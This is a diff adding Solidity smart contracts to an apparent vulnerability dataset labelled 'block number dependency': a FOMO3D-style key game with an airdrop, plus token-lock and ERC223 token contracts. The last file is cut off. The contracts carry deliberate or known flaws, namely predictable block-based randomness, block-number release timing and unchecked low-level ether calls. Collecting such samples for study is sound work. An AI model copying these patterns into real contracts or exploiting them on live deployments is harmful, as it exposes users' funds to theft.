+ _pID; + + + emit PCKevents.onBuyAndDistribute + ( + msg.sender, + plyr_[_pID].name, + msg.value, + _eventData_.compressedData, + _eventData_.compressedIDs, + _eventData_.winnerAddr, + _eventData_.winnerName, + _eventData_.amountWon, + _eventData_.newPot, + _eventData_.PCPAmount, + _eventData_.genAmount + ); + } + + + plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); + } + } + + + function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, PCKdatasets.EventReturns memory _eventData_) private { + + + uint256 _rID = rID_; + + + uint256 _now = now; + + + if (_now > ( round_[_rID].strt + rndGap_ ) && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) + { + + + + plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); + + + core(_rID, _pID, _eth, _affID, _team, _eventData_); + + + } else if ( _now > round_[_rID].end && round_[_rID].ended == false ) { + + round_[_rID].ended = true; + _eventData_ = endRound(_eventData_); + + if( !closed_ ) { + nextRound(); + } + + + _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); + _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; + + + emit PCKevents.onReLoadAndDistribute + ( + msg.sender, + plyr_[_pID].name, + _eventData_.compressedData, + _eventData_.compressedIDs, + _eventData_.winnerAddr, + _eventData_.winnerName, + _eventData_.amountWon, + _eventData_.newPot, + _eventData_.PCPAmount, + _eventData_.genAmount + ); + } + } + + + function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, PCKdatasets.EventReturns memory _eventData_) + private + { + + if (plyrRnds_[_pID][_rID].keys == 0) + _eventData_ = managePlayer(_pID, _eventData_); + + + if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) + { + uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); + uint256 _refund = _eth.sub(_availableLimit); + plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); + _eth = _availableLimit; + } + + + if (_eth > 1000000000) + { + + + uint256 _keys = (round_[_rID].eth).keysRec(_eth); + + + if (_keys >= 1000000000000000000) + { + updateTimer(_keys, _rID, _eth); + + + if (round_[_rID].plyr != _pID) + round_[_rID].plyr = _pID; + if (round_[_rID].team != _team) + round_[_rID].team = _team; + + + _eventData_.compressedData = _eventData_.compressedData + 100; + } + + + if (_eth >= 100000000000000000) { + airDropTracker_++; + if (airdrop() == true) { + + uint256 _prize; + if (_eth >= 10000000000000000000) + { + + _prize = ((airDropPot_).mul(75)) / 100; + plyr_[_pID].win = (plyr_[_pID].win).add(_prize); + + + airDropPot_ = (airDropPot_).sub(_prize); + + + _eventData_.compressedData += 300000000000000000000000000000000; + } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { + + _prize = ((airDropPot_).mul(50)) / 100; + plyr_[_pID].win = (plyr_[_pID].win).add(_prize); + + + airDropPot_ = (airDropPot_).sub(_prize); + + + _eventData_.compressedData += 200000000000000000000000000000000; + } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { + + _prize = ((airDropPot_).mul(25)) / 100; + plyr_[_pID].win = (plyr_[_pID].win).add(_prize); + + + airDropPot_ = (airDropPot_).sub(_prize); + + + _eventData_.compressedData += 300000000000000000000000000000000; + } + + _eventData_.compressedData += 10000000000000000000000000000000; + + _eventData_.compressedData += _prize * 1000000000000000000000000000000000; + + + airDropTracker_ = 0; + } + } + + + _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); + + + plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); + plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); + + + round_[_rID].keys = _keys.add(round_[_rID].keys); + round_[_rID].eth = _eth.add(round_[_rID].eth); + rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); + + + _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); + _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); + + + endTx(_pID, _team, _eth, _keys, _eventData_); + } + } + + + + + + function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) + private + view + returns(uint256) + { + return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); + } + + + function calcKeysReceived(uint256 _rID, uint256 _eth) + public + view + returns(uint256) + { + + uint256 _now = now; + + + if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) + return ( (round_[_rID].eth).keysRec(_eth) ); + else + return ( (_eth).keys() ); + } + + + function iWantXKeys(uint256 _keys) + public + view + returns(uint256) + { + + uint256 _rID = rID_; + + + uint256 _now = now; + + + if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) + return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); + else + return ( (_keys).eth() ); + } + + + + + + function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) + external + { + require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); + if (pIDxAddr_[_addr] != _pID) + pIDxAddr_[_addr] = _pID; + if (pIDxName_[_name] != _pID) + pIDxName_[_name] = _pID; + if (plyr_[_pID].addr != _addr) + plyr_[_pID].addr = _addr; + if (plyr_[_pID].name != _name) + plyr_[_pID].name = _name; + if (plyr_[_pID].laff != _laff) + plyr_[_pID].laff = _laff; + if (plyrNames_[_pID][_name] == false) + plyrNames_[_pID][_name] = true; + } + + + function receivePlayerNameList(uint256 _pID, bytes32 _name) + external + { + require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); + if(plyrNames_[_pID][_name] == false) + plyrNames_[_pID][_name] = true; + } + + + function determinePID(PCKdatasets.EventReturns memory _eventData_) + private + returns (PCKdatasets.EventReturns) + { + uint256 _pID = pIDxAddr_[msg.sender]; + + if (_pID == 0) + { + + _pID = PlayerBook.getPlayerID(msg.sender); + bytes32 _name = PlayerBook.getPlayerName(_pID); + uint256 _laff = PlayerBook.getPlayerLAff(_pID); + + + pIDxAddr_[msg.sender] = _pID; + plyr_[_pID].addr = msg.sender; + + if (_name != "") + { + pIDxName_[_name] = _pID; + plyr_[_pID].name = _name; + plyrNames_[_pID][_name] = true; + } + + if (_laff != 0 && _laff != _pID) + plyr_[_pID].laff = _laff; + + + _eventData_.compressedData = _eventData_.compressedData + 1; + } + return (_eventData_); + } + + + function verifyTeam(uint256 _team) + private + pure + returns (uint256) + { + if (_team < 0 || _team > 3) + return(2); + else + return(_team); + } + + + function managePlayer(uint256 _pID, PCKdatasets.EventReturns memory _eventData_) + private + returns (PCKdatasets.EventReturns) + { + + + if (plyr_[_pID].lrnd != 0) + updateGenVault(_pID, plyr_[_pID].lrnd); + + + plyr_[_pID].lrnd = rID_; + + + _eventData_.compressedData = _eventData_.compressedData + 10; + + return(_eventData_); + } + + + function nextRound() private { + rID_++; + round_[rID_].strt = now; + round_[rID_].end = now.add(rndInit_).add(rndGap_); + } + + + function endRound(PCKdatasets.EventReturns memory _eventData_) + private + returns (PCKdatasets.EventReturns) + { + + + uint256 _rID = rID_; + + + uint256 _winPID = round_[_rID].plyr; + uint256 _winTID = round_[_rID].team; + + + uint256 _pot = round_[_rID].pot; + + + + uint256 _win = (_pot.mul(48)) / 100; + uint256 _com = (_pot / 50); + uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; + uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; + uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); + + + uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); + uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); + if (_dust > 0) + { + _gen = _gen.sub(_dust); + _res = _res.add(_dust); + } + + + plyr_[_winPID].win = _win.add(plyr_[_winPID].win); + + + admin.transfer(_com.add(_p3d.sub(_p3d / 2))); + + + round_[_rID].mask = _ppt.add(round_[_rID].mask); + + + _res = _res.add(_p3d / 2); + + + _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); + _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); + _eventData_.winnerAddr = plyr_[_winPID].addr; + _eventData_.winnerName = plyr_[_winPID].name; + _eventData_.amountWon = _win; + _eventData_.genAmount = _gen; + _eventData_.PCPAmount = _p3d; + _eventData_.newPot = _res; + + + + _rID++; + round_[_rID].ended = false; + round_[_rID].strt = now; + round_[_rID].end = now.add(rndInit_).add(rndGap_); + round_[_rID].pot = _res; + + return(_eventData_); + } + + + function updateGenVault(uint256 _pID, uint256 _rIDlast) + private + { + uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); + if (_earnings > 0) + { + + plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); + + plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); + } + } + + + function updateTimer(uint256 _keys, uint256 _rID, uint256 _eth) + private + { + + uint256 _now = now; + + + uint256 _newTime; + if (_now > round_[_rID].end && round_[_rID].plyr == 0) + _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); + else + _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); + + + uint256 _newEndTime; + if (_newTime < (rndMax_).add(_now)) + _newEndTime = _newTime; + else + _newEndTime = rndMax_.add(_now); + + + if ( _eth >= rndReduceThreshold_ ) { + + uint256 reduce = ((((_keys) / (1000000000000000000))).mul(rndInc_ * reduceMul_) / reduceDiv_); + + if( _newEndTime > reduce && _now + rndMin_ + reduce < _newEndTime){ + _newEndTime = (_newEndTime).sub(reduce); + } + + else if ( _newEndTime > reduce ){ + _newEndTime = _now + rndMin_; + } + } + + round_[_rID].end = _newEndTime; + } + + + function getReduce(uint256 _rID, uint256 _eth) public view returns(uint256,uint256){ + + uint256 _keys = calcKeysReceived(_rID, _eth); + + if ( _eth >= rndReduceThreshold_ ) { + return ( ((((_keys) / (1000000000000000000))).mul(rndInc_ * reduceMul_) / reduceDiv_), (((_keys) / (1000000000000000000)).mul(rndInc_)) ); + } else { + return (0, (((_keys) / (1000000000000000000)).mul(rndInc_)) ); + } + + } + + + function airdrop() private view returns(bool) { + uint256 seed = uint256(keccak256(abi.encodePacked( + + (block.timestamp).add + (block.difficulty).add + ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add + (block.gaslimit).add + ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add + (block.number) + + ))); + if((seed - ((seed / 1000) * 1000)) < airDropTracker_) + return(true); + else + return(false); + } + + + function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, PCKdatasets.EventReturns memory _eventData_) + private + returns(PCKdatasets.EventReturns) + { + + uint256 _com = _eth / 50; + uint256 _p3d; + if (!address(admin).call.value(_com)()) { + + + + + + + _p3d = _com; + _com = 0; + } + + + uint256 _long = _eth / 100; + potSwap(_long); + + + uint256 _aff = _eth / 10; + + + + if (_affID != _pID && plyr_[_affID].name != '') { + plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); + emit PCKevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); + } else { + _p3d = _aff; + } + + + _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); + if (_p3d > 0) + { + admin.transfer(_p3d.sub(_p3d / 2)); + + round_[_rID].pot = round_[_rID].pot.add(_p3d / 2); + + + _eventData_.PCPAmount = _p3d.add(_eventData_.PCPAmount); + } + + return(_eventData_); + } + + function potSwap(uint256 _pot) private { + + uint256 _rID = rID_ + 1; + + round_[_rID].pot = round_[_rID].pot.add(_pot); + emit PCKevents.onPotSwapDeposit(_rID, _pot); + } + + + function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, PCKdatasets.EventReturns memory _eventData_) + private + returns(PCKdatasets.EventReturns) + { + + uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; + + + uint256 _air = (_eth / 100); + airDropPot_ = airDropPot_.add(_air); + + + _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); + + + uint256 _pot = _eth.sub(_gen); + + + + uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); + if (_dust > 0) + _gen = _gen.sub(_dust); + + + round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); + + + _eventData_.genAmount = _gen.add(_eventData_.genAmount); + _eventData_.potAmount = _pot; + + return(_eventData_); + } + + + function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) + private + returns(uint256) + { + + + + uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); + round_[_rID].mask = _ppt.add(round_[_rID].mask); + + + + uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); + plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); + + + return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); + } + + + function withdrawEarnings(uint256 _pID) + private + returns(uint256) + { + + updateGenVault(_pID, plyr_[_pID].lrnd); + + + uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); + if (_earnings > 0) + { + plyr_[_pID].win = 0; + plyr_[_pID].gen = 0; + plyr_[_pID].aff = 0; + } + + return(_earnings); + } + + + function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, PCKdatasets.EventReturns memory _eventData_) + private + { + _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); + _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); + + emit PCKevents.onEndTx + ( + _eventData_.compressedData, + _eventData_.compressedIDs, + plyr_[_pID].name, + msg.sender, + _eth, + _keys, + _eventData_.winnerAddr, + _eventData_.winnerName, + _eventData_.amountWon, + _eventData_.newPot, + _eventData_.PCPAmount, + _eventData_.genAmount, + _eventData_.potAmount, + airDropPot_ + ); + } + + + + + + bool public activated_ = false; + function activate() public { + + require( + msg.sender == admin, + "only team just can activate" + ); + + + require(activated_ == false, "PCK already activated"); + + + activated_ = true; + + + rID_ = 1; + round_[1].strt = now + rndExtra_ - rndGap_; + round_[1].end = now + rndInit_ + rndExtra_; + } + +} + + + + + +library PCKdatasets { + + + + + + + + + + + + + + + + + + + + struct EventReturns { + uint256 compressedData; + uint256 compressedIDs; + address winnerAddr; + bytes32 winnerName; + uint256 amountWon; + uint256 newPot; + uint256 PCPAmount; + uint256 genAmount; + uint256 potAmount; + } + struct Player { + address addr; + bytes32 name; + uint256 win; + uint256 gen; + uint256 aff; + uint256 lrnd; + uint256 laff; + } + struct PlayerRounds { + uint256 eth; + uint256 keys; + uint256 mask; + uint256 ico; + } + struct Round { + uint256 plyr; + uint256 team; + uint256 end; + bool ended; + uint256 strt; + uint256 keys; + uint256 eth; + uint256 pot; + uint256 mask; + uint256 ico; + uint256 icoGen; + uint256 icoAvg; + } + struct TeamFee { + uint256 gen; + uint256 p3d; + } + struct PotSplit { + uint256 gen; + uint256 p3d; + } +} + + + + + +library PCKKeysCalcLong { + using SafeMath for *; + + function keysRec(uint256 _curEth, uint256 _newEth) + internal + pure + returns (uint256) + { + return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); + } + + + function ethRec(uint256 _curKeys, uint256 _sellKeys) + internal + pure + returns (uint256) + { + return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); + } + + + function keys(uint256 _eth) + internal + pure + returns(uint256) + { + return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); + } + + + function eth(uint256 _keys) + internal + pure + returns(uint256) + { + return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); + } +} + + + + + + +interface PCKExtSettingInterface { + function getFastGap() external view returns(uint256); + function getLongGap() external view returns(uint256); + function getFastExtra() external view returns(uint256); + function getLongExtra() external view returns(uint256); +} + +interface PlayCoinGodInterface { + function deposit() external payable; +} + +interface ProForwarderInterface { + function deposit() external payable returns(bool); + function status() external view returns(address, address, bool); + function startMigration(address _newCorpBank) external returns(bool); + function cancelMigration() external returns(bool); + function finishMigration() external returns(bool); + function setup(address _firstCorpBank) external; +} + +interface PlayerBookInterface { + function getPlayerID(address _addr) external returns (uint256); + function getPlayerName(uint256 _pID) external view returns (bytes32); + function getPlayerLAff(uint256 _pID) external view returns (uint256); + function getPlayerAddr(uint256 _pID) external view returns (address); + function getNameFee() external view returns (uint256); + function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); + function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); + function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); +} + + + +library NameFilter { + + function nameFilter(string _input) + internal + pure + returns(bytes32) + { + bytes memory _temp = bytes(_input); + uint256 _length = _temp.length; + + + require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); + + require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); + + if (_temp[0] == 0x30) + { + require(_temp[1] != 0x78, "string cannot start with 0x"); + require(_temp[1] != 0x58, "string cannot start with 0X"); + } + + + bool _hasNonNumber; + + + for (uint256 i = 0; i < _length; i++) + { + + if (_temp[i] > 0x40 && _temp[i] < 0x5b) + { + + _temp[i] = byte(uint(_temp[i]) + 32); + + + if (_hasNonNumber == false) + _hasNonNumber = true; + } else { + require + ( + + _temp[i] == 0x20 || + + (_temp[i] > 0x60 && _temp[i] < 0x7b) || + + (_temp[i] > 0x2f && _temp[i] < 0x3a), + "string contains invalid characters" + ); + + if (_temp[i] == 0x20) + require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); + + + if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) + _hasNonNumber = true; + } + } + + require(_hasNonNumber == true, "string cannot be only numbers"); + + bytes32 _ret; + assembly { + _ret := mload(add(_temp, 32)) + } + return (_ret); + } +} + + +library SafeMath { + + + function mul(uint256 a, uint256 b) + internal + pure + returns (uint256 c) + { + if (a == 0) { + return 0; + } + c = a * b; + require(c / a == b, "SafeMath mul failed"); + return c; + } + + + function sub(uint256 a, uint256 b) + internal + pure + returns (uint256) + { + require(b <= a, "SafeMath sub failed"); + return a - b; + } + + + function add(uint256 a, uint256 b) + internal + pure + returns (uint256 c) + { + c = a + b; + require(c >= a, "SafeMath add failed"); + return c; + } + + + function sqrt(uint256 x) + internal + pure + returns (uint256 y) + { + uint256 z = ((add(x,1)) / 2); + y = x; + while (z < y) + { + y = z; + z = ((add((x / z),z)) / 2); + } + } + + + function sq(uint256 x) + internal + pure + returns (uint256) + { + return (mul(x,x)); + } + + + function pwr(uint256 x, uint256 y) + internal + pure + returns (uint256) + { + if (x==0) + return (0); + else if (y==0) + return (1); + else + { + uint256 z = x; + for (uint256 i=1; i < y; i++) + z = mul(z,x); + return (z); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/3060.sol b/smart_contract_dataset/block number dependency/3060.sol new file mode 100644 index 0000000000000000000000000000000000000000..a11001a824e850e2e41161c0a6635569a2d303bc --- /dev/null +++ b/smart_contract_dataset/block number dependency/3060.sol @@ -0,0 +1,166 @@ +pragma solidity ^0.4.23; + + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +contract MultiOwnable { + mapping (address => bool) owners; + address unremovableOwner; + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + event OwnershipExtended(address indexed host, address indexed guest); + event OwnershipRemoved(address indexed removedOwner); + + modifier onlyOwner() { + require(owners[msg.sender]); + _; + } + + constructor() public { + owners[msg.sender] = true; + unremovableOwner = msg.sender; + } + + function addOwner(address guest) onlyOwner public { + require(guest != address(0)); + owners[guest] = true; + emit OwnershipExtended(msg.sender, guest); + } + + function removeOwner(address removedOwner) onlyOwner public { + require(removedOwner != address(0)); + require(unremovableOwner != removedOwner); + delete owners[removedOwner]; + emit OwnershipRemoved(removedOwner); + } + + function transferOwnership(address newOwner) onlyOwner public { + require(newOwner != address(0)); + require(unremovableOwner != msg.sender); + owners[newOwner] = true; + delete owners[msg.sender]; + emit OwnershipTransferred(msg.sender, newOwner); + } + + function isOwner(address addr) public view returns(bool){ + return owners[addr]; + } +} + +contract TokenLock is MultiOwnable { + ERC20 public token; + mapping (address => uint256) public lockAmounts; + mapping (address => uint256) public releaseBlocks; + + constructor (address _token) public { + token = ERC20(_token); + } + + function getLockAmount(address _addr) external view returns (uint256) { + return lockAmounts[_addr]; + } + + function getReleaseBlock(address _addr) external view returns (uint256) { + return releaseBlocks[_addr]; + } + + function lock(address _addr, uint256 _amount, uint256 _releaseBlock) external { + require(owners[msg.sender]); + require(_addr != address(0)); + lockAmounts[_addr] = _amount; + releaseBlocks[_addr] = _releaseBlock; + } + + function release(address _addr) external { + require(owners[msg.sender] || msg.sender == _addr); + require(block.number >= releaseBlocks[_addr]); + uint256 amount = lockAmounts[_addr]; + lockAmounts[_addr] = 0; + releaseBlocks[_addr] = 0; + token.transfer(_addr, amount); + } +} + +contract TokenLockDistribute is Ownable { + ERC20 public token; + TokenLock public lock; + + constructor (address _token, address _lock) public { + token = ERC20(_token); + lock = TokenLock(_lock); + } + + function distribute(address _to, uint256 _unlockedAmount, uint256 _lockedAmount, uint256 _releaseBlockNumber) public onlyOwner { + require(_to != address(0)); + token.transfer(address(lock), _lockedAmount); + lock.lock(_to, _lockedAmount, _releaseBlockNumber); + token.transfer(_to, _unlockedAmount); + + emit Distribute(_to, _unlockedAmount, _lockedAmount, _releaseBlockNumber); + } + + event Distribute(address indexed _to, uint256 _unlockedAmount, uint256 _lockedAmount, uint256 _releaseBlockNumber); +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/3062.sol b/smart_contract_dataset/block number dependency/3062.sol new file mode 100644 index 0000000000000000000000000000000000000000..385703739766196b688f25a8e497dafc81074961 --- /dev/null +++ b/smart_contract_dataset/block number dependency/3062.sol @@ -0,0 +1,103 @@ +pragma solidity ^0.4.23; + + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +contract MultiOwnable { + mapping (address => bool) owners; + address unremovableOwner; + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + event OwnershipExtended(address indexed host, address indexed guest); + event OwnershipRemoved(address indexed removedOwner); + + modifier onlyOwner() { + require(owners[msg.sender]); + _; + } + + constructor() public { + owners[msg.sender] = true; + unremovableOwner = msg.sender; + } + + function addOwner(address guest) onlyOwner public { + require(guest != address(0)); + owners[guest] = true; + emit OwnershipExtended(msg.sender, guest); + } + + function removeOwner(address removedOwner) onlyOwner public { + require(removedOwner != address(0)); + require(unremovableOwner != removedOwner); + delete owners[removedOwner]; + emit OwnershipRemoved(removedOwner); + } + + function transferOwnership(address newOwner) onlyOwner public { + require(newOwner != address(0)); + require(unremovableOwner != msg.sender); + owners[newOwner] = true; + delete owners[msg.sender]; + emit OwnershipTransferred(msg.sender, newOwner); + } + + function isOwner(address addr) public view returns(bool){ + return owners[addr]; + } +} + +contract TokenLock is MultiOwnable { + ERC20 public token; + mapping (address => uint256) public lockAmounts; + mapping (address => uint256) public releaseBlocks; + + constructor (address _token) public { + token = ERC20(_token); + } + + function getLockAmount(address _addr) external view returns (uint256) { + return lockAmounts[_addr]; + } + + function getReleaseBlock(address _addr) external view returns (uint256) { + return releaseBlocks[_addr]; + } + + function lock(address _addr, uint256 _amount, uint256 _releaseBlock) external { + require(owners[msg.sender]); + require(_addr != address(0)); + lockAmounts[_addr] = _amount; + releaseBlocks[_addr] = _releaseBlock; + } + + function release(address _addr) external { + require(owners[msg.sender] || msg.sender == _addr); + require(block.number >= releaseBlocks[_addr]); + uint256 amount = lockAmounts[_addr]; + lockAmounts[_addr] = 0; + releaseBlocks[_addr] = 0; + token.transfer(_addr, amount); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/3105.sol b/smart_contract_dataset/block number dependency/3105.sol new file mode 100644 index 0000000000000000000000000000000000000000..732e6261f7ffa3d10b30754a82155bb40ee44f60 --- /dev/null +++ b/smart_contract_dataset/block number dependency/3105.sol @@ -0,0 +1,666 @@ +pragma solidity ^0.4.24; + + + + +contract ERC223Receiver { + constructor() internal {} + + + function tokenFallback(address _from, uint _value, bytes _data) public; +} + + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + + + + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + uint256 totalSupply_; + + + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + emit Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) public view returns (uint256) { + return balances[_owner]; + } + +} + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + + + + +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) internal allowed; + + + + function transferFrom( + address _from, + address _to, + uint256 _value + ) + public + returns (bool) + { + require(_to != address(0)); + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + emit Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance( + address _owner, + address _spender + ) + public + view + returns (uint256) + { + return allowed[_owner][_spender]; + } + + + function increaseApproval( + address _spender, + uint256 _addedValue + ) + public + returns (bool) + { + allowed[msg.sender][_spender] = ( + allowed[msg.sender][_spender].add(_addedValue)); + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + + function decreaseApproval( + address _spender, + uint256 _subtractedValue + ) + public + returns (bool) + { + uint256 oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + +} + + + + +contract ERC223Token is StandardToken { + using SafeMath for uint; + + event Transfer(address indexed from, address indexed to, uint value, bytes data); + + modifier enoughBalance(uint _value) { + require (_value <= balanceOf(msg.sender)); + _; + } + + + function transfer(address _to, uint _value, bytes _data) public returns (bool success) { + require(_to != address(0)); + + return isContract(_to) ? + transferToContract(_to, _value, _data) : + transferToAddress(_to, _value, _data) + ; + } + + + function transfer(address _to, uint _value) public returns (bool success) { + bytes memory empty; + + return transfer(_to, _value, empty); + } + + + function isContract(address _addr) private view returns (bool is_contract) { + uint length; + + assembly { + + length := extcodesize(_addr) + } + + return (length > 0); + } + + + 